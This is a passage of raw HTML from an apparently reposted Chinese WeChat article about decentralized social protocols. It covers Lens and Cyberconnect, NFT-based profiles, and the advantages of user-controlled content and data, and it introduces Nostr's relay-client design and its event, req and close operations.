rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">想象一下，你可以用你在<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Polygon</span>上的<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Lens profile</span>作为<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeFi</span>协议中的抵押品来获得贷款。这种价值附加的可组合性优势并不存在于<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSo</span>或任何建立在独立区块链上的<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSoc</span>协议中。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">同样，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Cyberconnect</span>的可扩展性极强，拥有超过<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">100</span>万个账户，因为它是区块链不可知论的，允许你把你的社交图谱带到任何区块链。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">然而，由于设计原因，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Cyberconnect</span>无法在其生态系统内使用<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT</span>。在节省计算和简化整体设计过程的同时，失去<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT</span>兼容性是巨大的损失。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">以<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Lens</span>为例，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT</span>代表你的个人资料和你的粉丝。它使<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">profile</span>的二级销售成为可能，创造了一个全新的市场。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">不想创建一个拥有大量粉丝的模因账号？你只需要购买一份能够满足这些用户的<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT profile</span>。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">此外，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">NFT</span>为创作者提供了更多的收入。通过让帖子具有收藏价值，创作者可以引入排他性，从而对内容收取费用。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><br/></span></section><section style="line-height: 2em;margin-top: 16px;"><section data-mpa-category="模板" style="width: 100%;display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;flex-direction: column;align-self: center;" data-mid="" mpa-from-tpl="t"><section style="width: 42px;height: 34px;display: flex;justify-content: center;align-items: center;align-self: flex-end;margin-right: -56px;margin-bottom: -3px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.8095238095238095" data-w="84" src="https://wechat2rss.xlab.app/img-proxy/?k=45b08941&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJ1S19pfufUthZicQiaicAt4fibc0XcuffjBNLG5pT6Jfibo1dzsnibwl2VYu7tEBwmxTZx21GmOW4bcW5CibG0ibia6g10A%2F640%3Fwx_fmt%3Dpng"/></section><section style="display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 10px;height: 10px;background: #333333;border-right: 1px solid #FDFBFB;border-bottom: 1px solid #FDFBFB;align-self: flex-start;margin-bottom: -10px;z-index: 1;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="text-align: center;background: #333333;padding: 4px 19px 3px 19px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 22px;letter-spacing: 2px;word-break: break-all;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">三、去中心化社交协议</span></p></section></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="font-size: 14px;">1996 </span><span style="font-size: 14px;">年《网络空间独立宣言》中提到，“</span></span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(0, 122, 170);"><strong>我们正在创造一个世界，在那里，任何人，在任何地方，都可以表达他们的信仰而不用害怕被强迫保持沉默或顺从，不论这种信仰是多么的奇特<span style="letter-spacing: 1px;font-size: 14px;">...... </span>我们将在网络中创造一种心灵的文明。但愿她将比你们的政府此前所创造的世界更加人道和公正。</strong></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="color: rgb(84, 84, 84);font-size: 14px;">”</span><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">尽管 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Web2 </span>时代的社媒平台已向这一目标做出诸多努力，但仍有层出不穷的隐私窃取、数据泄露问题困扰用户，加剧与平台之间的紧张对立关系，给用户的社交体验蒙上一层阴影。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">字节跳动 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">TikTok </span>平台就曾因过度挖掘用户数据、侵犯信息安全，被美国下令“封杀”；后其又被国家网信办约谈，针对算法技术进行规制谈判……这一切背后的技术逻辑很简单 —— 平台掌控着内容、资源和产生的价值，用户参与创作的内容成了平台贩卖给广告商的“货品”，而广告费用和各项收益又最终落入平台的口袋。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">如果我们想改变这一现状，如上文所述，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSoc</span>是一个不错的选择。去中心化社交将用户定位为系统核心，原本作为主角的社交平台退居二线。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">于是，“去中心化社交协议（<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Decentralized Social Protocol </span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DSP</span>）”这一概念逐渐涌入大众视野，成为各大公链推出的新方案。<o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">去中心化社交协议的核心是<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">**</span>让用户控制内容，负责网络内价值的创造和转移<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">**</span>。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">用户可以从众多界面提供商、内容服务器和广告商中进行选择，还包括<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">**</span>配置文件管理、隐私保护、内容过滤、元数据<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">**</span>等去中心化解决方案可供参考。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong style="font-size: 16px;letter-spacing: 3px;font-family: Arial;"><span style="font-size: 15px;color: rgb(0, 122, 170);"><br mpa-from-tpl="t"/></span></strong></span></section><section style="margin-top: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="width: 22px;height: 23px;align-self: flex-end;margin-bottom: -21px;z-index: 1;background-color: #FFFFFF;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.0454545454545454" style="display: block;" data-w="44" src="https://wechat2rss.xlab.app/img-proxy/?k=5b5dad05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPRn8S1MdUE4iatBr7OlIAGm32AREMKXFHULcwbfKXj3uAWlvTqIxDbZS3dX60oVoibaWo6kVx4B4Buxhevz6zedA%2F640%3Fwx_fmt%3Dpng"/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(61, 41, 34);text-align: center;padding: 0px 18px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 32px;letter-spacing: 3px;text-shadow: 1px 1px 0px #3D2922, 1px 0px 0px #3D2922, 0px 1px 0px #3D2922, -1px -1px 0px #3D2922, -1px 0px 0px #3D2922, 0px -1px 0px #3D2922, 1px -1px 0px #3D2922;" data-mid=""><span style="color: rgb(255, 255, 255);font-family: Arial, Helvetica, sans-serif;font-size: 16px;font-weight: 700;letter-spacing: 3px;text-align: center;">1.去中心化社交协议的优势</span></p></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: center;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong style="font-family: Arial;font-size: 16px;"><span style="font-size: 15px;color: rgb(0, 122, 170);">用户决定内容</span></strong></span></section><h4 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">DSP将决定权从平台中心转移到用户手中。平台提供的推荐内容并不是由各大应用提供，也不是通过算法推荐进行精准投递，而是用户亲身参与创造、设定的过程。</span></h4><h4 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">比如用户可以选择客户端，安装各类插件，从技术源头解决内容和体验不适配的问题。</span></h4><h4 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">同时，推出这些社媒平台的互联网企业也消解了部分法律负担，不用再对潜在的用户隐私风险担责。</span></h4><h4 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">拥有更多内容定制权的用户可以在 Web3 环境下加入高度开放、自由的社交圈层。</span></h4><h4 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: center;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong style="font-family: Arial;font-size: 16px;"><span style="font-size: 15px;color: rgb(0, 122, 170);">赋予数据权利</span></strong></span></h4><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">用协议框定平台权责，可以把数据控制权交还用户。用户自主掌握了数据权后可以自发保护隐私安全。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">这种数据自主权就好比 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Gmail </span>中的用户数据，不管是联系人还是邮件都可以完整导出，如果某天 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Gmail </span>让用户感到不满，那么用户就可以带着自己的账户数据更换邮件客户端，而存在联系列表的好友及相应的邮件信息并不随客户端转移而消失。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">但在 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Facebook </span>这些社交平台上，用户一旦不想使用了，即使账户数据能够被导出，也无法和原先的好友们继续联络，因为数据权限属于平台。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: center;margin: 16px 1em;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong style="font-family: Arial;font-size: 16px;"><span style="font-size: 15px;color: rgb(0, 122, 170);">增值服务盈利</span></strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">去中心化社交协议除了保障用户创作、数据上的主动权以外，还在商业模式上具备发展潜力。借助协议应用，存储服务、加速服务能够作为附属功能便利用户的办公、生活需求。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">那么根据协议发展起来的额外应用就有了商业化的可能，不同的项目方提供相应增值服务，让用户灵活调度工作任务、资金利益，通过区块链等新兴技术制定模块化运营区域。<o:p></o:p></span></section><h3 style="margin: 16px 1em;break-after: avoid;text-align: justify;font-family: Calibri;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><strong><br mpa-from-tpl="t"/></strong></span></h3><section style="margin-top: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="width: 22px;height: 23px;align-self: flex-end;margin-bottom: -21px;z-index: 1;background-color: rgb(255, 255, 255);" data-mid="" mpa-from-tpl="t"><img data-ratio="1.0454545454545454" style="display: block;" data-w="44" src="https://wechat2rss.xlab.app/img-proxy/?k=5b5dad05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPRn8S1MdUE4iatBr7OlIAGm32AREMKXFHULcwbfKXj3uAWlvTqIxDbZS3dX60oVoibaWo6kVx4B4Buxhevz6zedA%2F640%3Fwx_fmt%3Dpng"/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(61, 41, 34);text-align: center;padding: 0px 18px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 32px;letter-spacing: 3px;text-shadow: rgb(61, 41, 34) 1px 1px 0px, rgb(61, 41, 34) 1px 0px 0px, rgb(61, 41, 34) 0px 1px 0px, rgb(61, 41, 34) -1px -1px 0px, rgb(61, 41, 34) -1px 0px 0px, rgb(61, 41, 34) 0px -1px 0px, rgb(61, 41, 34) 1px -1px 0px;" data-mid=""><span style="font-family: Arial, Helvetica, sans-serif;">2.去中心化社交协议一览</span></p></section></section></section></section><h4 style="margin: 16px 1em;break-after: avoid;text-align: center;font-family: Arial;font-size: 14pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 15px;"><strong style="font-size: 16px;font-family: Arial;"><span style="font-size: 15px;color: rgb(0, 122, 170);">Nostr</span></strong></span><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></strong></span></span></h4><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">2023<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">年年初</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">DeSoc</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">社区最热门的协议莫过于</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Nostr</span>，<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">本文就</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Nostr</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">展开详细的介绍</span>。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Nostr </span>是基于加密密钥对 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">(Cryptographic Keypairs) </span>的去中心化网络，没有采用 <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">P2P (peer-to-peer) </span>技术。该协议非常简单，且可扩展。</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><o:p></o:p></span></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">Nostr </span>全称是 <span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">Notes and Other Stuff Transmitted by Relays</span>，可以理解为：通过中继设备传输笔记和其他东西。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">有人认为，<span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">Nostr </span>之于社交网络，就像 <span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">HTTP </span>之于信息或 <span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">IMAP </span>之于通信。虽然目前 <span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">Nostr </span>的主要用处是打造类似 <span style="font-size: 14px;letter-spacing: 1px;color: rgb(84, 84, 84);">Twitter </span>的（去中心化）社交网络，但它是一个底层级别的协议，几乎可以在其上构建任何你喜欢的东西，可能性无穷无尽。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">他的基本构成如下图所示：</span></section><section style="text-align: center;margin-top: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.66484375" data-s="300,640" data-w="1280" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5ef51b71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeNts9icy7v1lrxqa2LQSFia7JFxVsflQHKibljbDgro9Xx2PKPxribSP4cuqcQHibcrHDk7iaMmy0IWS8g%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><br/></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;">nostr <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">网络中存在两个角色</span> relay <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">和 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">client</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">。每一个节点被称之为 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">relay</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">（中继服务器），用户则为</span> client<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">。</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">relay </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">之间<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">由于不存在</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">p</span></span>2<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">p</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">协议</span>并不会同步消息，每个</span> relay <span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">都有自己的数据库存储，数据库的类型可以自行决定，目前用的比较多的是 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">sqlite </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">或者 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">Postgresql</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">，其他的类的数据库也可以，要看 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">relay </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">的具体实现。</span><o:p></o:p></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;margin: 16px 1em;line-height: 2em;"><span style="font-size: 14px;color: rgb(84, 84, 84);letter-spacing: 1px;font-family: Arial, Helvetica, sans-serif;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">每个人使用的终端是</span> client<span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">，</span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">client </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">会和 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">relay </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">之间进行交互，使用 </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">websocket + json </span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 14px;">协议。</span></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" data-mpa-template-id="514" data-mpa-category="模板" mpa-from-tpl="t"><section style="width: 100%;padding: 0px 21px;margin-bottom: 16px;line-height: 1.5em;margin-top: 16px;"><section style="width: 100%;display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;z-index: 1;background: rgb(255, 255, 255);padding: 0px 2px 2px;border-width: 5px 1px 1px;border-style: solid;border-color: rgb(93, 92, 93);" data-mid="" mpa-from-tpl="t"><section style="width: 100%;text-align: left;border-right: 1px solid rgb(93, 92, 93);border-bottom: 1px solid rgb(93, 92, 93);border-left: 1px solid rgb(93, 92, 93);border-top: none;padding: 17px 8px 14px 12px;" data-mid="" mpa-from-tpl="t"><p style="margin-right: 0pt;margin-left: 0pt;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 10.5pt;"><span style="letter-spacing: 1px;font-size: 10.5pt;">从</span> client <span style="letter-spacing: 1px;font-size: 10.5pt;">到 relay 支持</span>三种操作<span style="letter-spacing: 1px;font-size: 10.5pt;">:</span></span></strong><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 10.5pt;"><o:p></o:p></span></span></p><p style="margin-right: 0pt;margin-left: 0pt;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;"><span style="color: rgb(84, 84, 84);font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 10.5pt;">a. event:发布消息、修改节点信息等操作</span><span style="color: rgb(84, 84, 84);font-size: 10.5pt;letter-spacing: 1px;">；</span></span><span style="color: rgb(84, 84, 84);font-size: 10.5pt;letter-spacing: 1px;"><o:p></o:p></span></span></p><p style="margin-right: 0pt;margin-left: 0pt;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;"><span style="color: rgb(84, 84, 84);font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 10.5pt;">b. <span style="color: rgb(84, 84, 84);letter-spacing: 1px;">req</span>:<span style="color: rgb(84, 84, 84);letter-spacing: 1px;">持续不断的请求所关注的中继服务器即relay的信息</span>，<span style="color: rgb(84, 84, 84);letter-spacing: 1px;">并在client显示</span></span><span style="color: rgb(84, 84, 84);font-size: 10.5pt;letter-spacing: 1px;">；</span></span><span style="color: rgb(84, 84, 84);font-size: 10.5pt;letter-spacing: 1px;"><o:p></o:p></span></span></p><p style="margin-right: 0pt;margin-left: 0pt;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;"><span style="color: rgb(84, 84, 84);font-family: Arial, Helvetica, sans-serif;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 10.5pt;">c. <span style="color: rgb(84, 84, 84);letter-spacing: 1px;">close</span>:<span style="color: rgb(84, 84, 84);letter-spacing: 1px;">用于关闭req请求中对于relay的订阅请求</span></span><span style="color: rgb(84, 84, 84);font-size: 10.5pt;letter-spacing: 1px;">。</span></span><span style="color: rgb(84, 84, 84);font-size: 10.5pt;letter-spacing: 1px;"><o:p></o:p></span></span></p><p style="margin-right: 0pt;margin-left: 0pt;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;"><span style="font-size: 10.5pt;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: 